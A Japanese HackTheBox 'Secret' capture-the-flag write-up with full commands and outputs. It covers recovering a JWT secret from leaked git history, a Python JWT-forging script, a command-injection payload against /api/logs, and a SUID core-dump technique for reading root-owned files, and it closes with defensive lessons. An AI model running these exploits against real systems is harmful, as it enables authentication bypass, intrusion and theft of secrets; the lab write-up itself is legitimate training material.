HackTheBox: Secret — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 3000/http(Node.js)
→
22/ssh, 80/http, 3000/http(Node.js)
/download/files.zip
.gitディレクトリ付きソース漏洩
→
.gitディレクトリ付きソース漏洩
git show で過去コミット復元
TOKEN_SECRET平文
→
TOKEN_SECRET平文
HS256 JWT偽造
name=theadmin
→
name=theadmin
/api/logs コマンドインジェクション
exec()のfile引数
→
exec()のfile引数
dasith権限RCE → user.txt ✓
→
/opt/count (SUID)
dumpable+SIGSEGVでコアダンプ
→
dumpable+SIGSEGVでコアダンプ
apport-unpack + strings
コアダンプからroot.txt抽出
→
コアダンプからroot.txt抽出
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.65 nmap -sV -sC -p 22,80,3000 10.129.90.65
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DUMB Docs 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs
ℹ️
ポート80(nginx)とポート3000(Node.js/Express)の両方で同じ
「DUMB Docs」というタイトルのAPIドキュメントサイトが稼働している。
nginxはおそらくポート3000へのリバースプロキシとして機能している。
PHASE 2
ソースコード漏洩 & git履歴からのJWTシークレット窃取
ダウンロード可能なソースアーカイブの発見
BASH
curl -sO http://10.129.90.65/download/files.zip unzip files.zip -d source/ ls -la source/
RESULT
Archive: files.zip creating: source/.git/ ... inflating: source/app.js inflating: source/package.json
🚨
重要発見: アプリのバックアップZIPに
.gitディレクトリ全体がそのまま含まれている。
つまり現在のソースだけでなく、過去のコミット履歴(削除済みの
機密ファイルを含む)も丸ごと復元できる。
git履歴からTOKEN_SECRETを復元
BASH
cd source git log --oneline
RESULT
80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
...
67d8da7 removed .env for security reasons
🚨
重要発見: コミットメッセージ自体が
「セキュリティのため.envを削除しました」と白状している——
つまりこのコミットの直前の差分を見れば削除前の
.envファイルの内容(=機密情報)がそのまま見える。
BASH
git show 67d8da7
RESULT (本検証の実際の出力より)
-TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
✅
機密シークレット窃取成功! JWTの署名検証に使われる
TOKEN_SECRET(非常に長いランダム文字列)を取得した。
PHASE 3
JWT偽造 & /api/logs コマンドインジェクション — user.txt取得
管理者権限を持つJWTを偽造
PYTHON (本検証で実際に使用したJWT偽造スクリプト)
import hmac, hashlib, base64, json
def b64url(obj):
raw = json.dumps(obj, separators=(',', ':')).encode()
return base64.urlsafe_b64encode(raw).rstrip(b'=').decode()
secret = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
header = {"alg": "HS256", "typ": "JWT"}
payload = {"_id": "deadbeefdeadbeef12345678", "name": "theadmin", "email": "pwn@htb.htb"}
h = b64url(header)
p = b64url(payload)
msg = f"{h}.{p}"
sig = hmac.new(secret.encode(), msg.encode(), hashlib.sha256).digest()
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
jwt = f"{msg}.{s}"
print(jwt)
ℹ️
アルゴリズムはHS256(対称鍵HMAC-SHA256)。盗んだ
TOKEN_SECRETを鍵として自前でヘッダー・ペイロードに
署名すれば、サーバー側の検証をそのまま通過する有効なJWTを
誰でも生成できる。
/api/logs のコマンドインジェクション脆弱性
NOTE
認証済みユーザー向けの/api/logsエンドポイントは、サーバーログを
表示するためおおよそ以下のようなコードで実装されている:
exec('git log --oneline ' + file)
fileパラメータの値がサニタイズされずそのままシェルコマンドへ
連結されるため、file=";<任意コマンド>" とすればセミコロンで
コマンドを区切り任意のコマンドを追加実行できる。
BASH (本検証で実際に使用、auth-tokenヘッダーに偽造JWTを指定)
curl -s -G --data-urlencode "file=;cat /home/dasith/user.txt" \ http://10.129.90.65/api/logs \ -H "auth-token: <偽造JWT>"
RESULT (本検証の実際のレスポンス、JSON文字列値として返る)
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nde9cba540d0a98c29f8853648ccee2d4\n"
✅
RCE成功! レスポンスの先頭3行は通常の
git log --onelineの結果(コミットログ)、最後の行が
注入したコマンド(cat user.txt)の出力。
⚠️
実装上の注意: レスポンスはJSON文字列値
としてそのまま返ってくる(ダブルクォートで囲まれ、改行は
本物の改行コードではなくリテラルな
\nエスケープ
(バックスラッシュ+n の2文字))。生のレスポンス文字列を
そのままフラグ抽出の正規表現に渡すと、このリテラル\nの
“n”文字がフラグ文字列の直前に隣接してしまい、単語境界
(\b)判定が崩れて抽出に失敗する。必ず
json.loads()等でJSONデコードしてから(リテラル
\nを本物の改行コードへ変換してから)扱うこと。
user.txt — dasith
de9cba540d0a98c29f8853648ccee2d4
PHASE 4
SUIDバイナリのコアダンプ悪用 — root.txt取得
/opt/count SUIDバイナリの発見
BASH (コマンドインジェクション経由で実行)
ls -la /opt/
RESULT (本検証の実際の出力より抜粋)
-rw-r--r-- 1 root root 3736 Oct 7 2021 code.c
-rwsr-xr-x 1 root root ... count
🚨
重要発見:
/opt/countはSUIDビット付き
(root所有)のバイナリ。ソースcode.cも同じディレクトリに
公開されているため、動作を事前に把握できる。鍵となるのは、この
プログラムが起動時にprctl(PR_SET_DUMPABLE, 1)を
呼び出しSUIDプロセスであってもコアダンプを許可する
設定をしている点。通常SUIDバイナリはセキュリティ上コアダンプが
無効化されるが、このプログラムは明示的に有効化し直している。
クラッシュさせてコアダンプを生成
NOTE
/opt/countはおそらくファイルパスを標準入力で受け取り内容を処理する プログラム。入力待ち状態のままシグナルSIGSEGV(セグメンテーション違反) で強制終了させると、root権限で実行中のメモリ内容がそのままコアダンプ ファイルとして/var/crash/配下に書き出される(Ubuntu標準のapportクラッシュ 報告機構による)。メモリ内には直前にcatしたような機密ファイル内容が 残っている可能性が高い——これを狙う。
BASH (コマンドインジェクション経由で実行、/root/root.txtを入力として渡しつつクラッシュさせる)
(printf '/root/root.txt\n'; sleep 10) | /opt/count & PID=$! sleep 2 kill -11 $PID
RESULT
CRASH_OK
apport-unpackでコアダンプを展開しフラグを抽出
BASH (コマンドインジェクション経由で実行)
apport-unpack /var/crash/_opt_count.*.crash /tmp/cx/
strings /tmp/cx/CoreDump | grep -oE '[0-9a-f]{32}'
RESULT (本検証の実際の出力)
f661885b3ebef52a0d1ef2ddcb119e45
✅
root化不要でroot.txt直接取得成功! コアダンプ
ファイルの中にroot権限プロセスがメモリ上で保持していた
root.txtの内容がそのまま残っており、
strings+正規表現で32桁hexフラグを直接抜き出せた。
SSH秘密鍵の抽出も同様の手法で可能(同じコアダンプに
/root/.ssh/id_rsaを読ませれば鍵の内容が残る)だが、
フラグ取得自体はコアダンプから直接読む方が確実で速い。
root.txt — /opt/count SUIDコアダンプから直接抽出
f661885b3ebef52a0d1ef2ddcb119e45
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dasith
de9cba540d0a98c29f8853648ccee2d4
root.txt — /opt/count SUIDコアダンプから直接抽出
f661885b3ebef52a0d1ef2ddcb119e45
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| .gitディレクトリを含むソース漏洩 | /download/files.zip | 過去コミット履歴(削除済み機密ファイル含む)の取得 | High | zipをダウンロードしgit showで削除前の.envコミットを復元 |
| JWT偽造 (ハードコードされたTOKEN_SECRET漏洩) | HS256 JWT署名検証 | 認証バイパス(管理者権限) | Critical | 漏洩したシークレットで自前署名の有効なJWTを生成 |
| OSコマンドインジェクション | /api/logs (fileパラメータ、exec()連結) | リモートコード実行 (dasithユーザー) | Critical | セミコロンでシェルコマンドを連結し任意コマンド実行 |
| SUIDバイナリのコアダンプ有効化 | /opt/count (prctl PR_SET_DUMPABLE) | 権限昇格相当(root権限メモリの直接読取) | High | SIGSEGVでクラッシュさせコアダンプを生成し、メモリ上に残るroot権限データをstringsで抽出 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/443/http, 3000/http (DUMB Docs) |
| 2 | 資格情報窃取 | .gitソース漏洩 + git show | TOKEN_SECRET |
| 3 | 認証バイパス+RCE | JWT偽造 + /api/logs コマンドインジェクション | user.txt (dasith) |
| 4 | 権限昇格相当 | SUID /opt/count コアダンプ悪用 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 配布用ZIPに.gitディレクトリ(過去の全コミット履歴)が誤って含まれている | デプロイ・配布パッケージ作成時に.git等のVCSメタデータを必ず除外する。.gitignoreやビルドスクリプトでのチェックを徹底する。 |
| JWT署名用シークレットがソースコード・gitコミット履歴に平文でハードコードされている | シークレットは環境変数やシークレット管理サービスで管理し、コードベースやgit履歴に一切含めない。既に漏洩した鍵は即座にローテーションする。 |
| ユーザー入力を検証せずシェルコマンドへ直接連結している | exec()/system()は極力使わず、必要な場合は引数を配列渡し(シェル経由しない)にするか厳密なホワイトリスト検証を行う。 |
| SUIDバイナリが明示的にコアダンプを有効化しており、クラッシュ時に機密メモリ内容が漏洩する | SUIDバイナリではコアダンプを有効化しない(デフォルトの無効化設定を維持する)。機密データを扱うプログラムは処理後に確実にメモリをゼロクリアする。 |

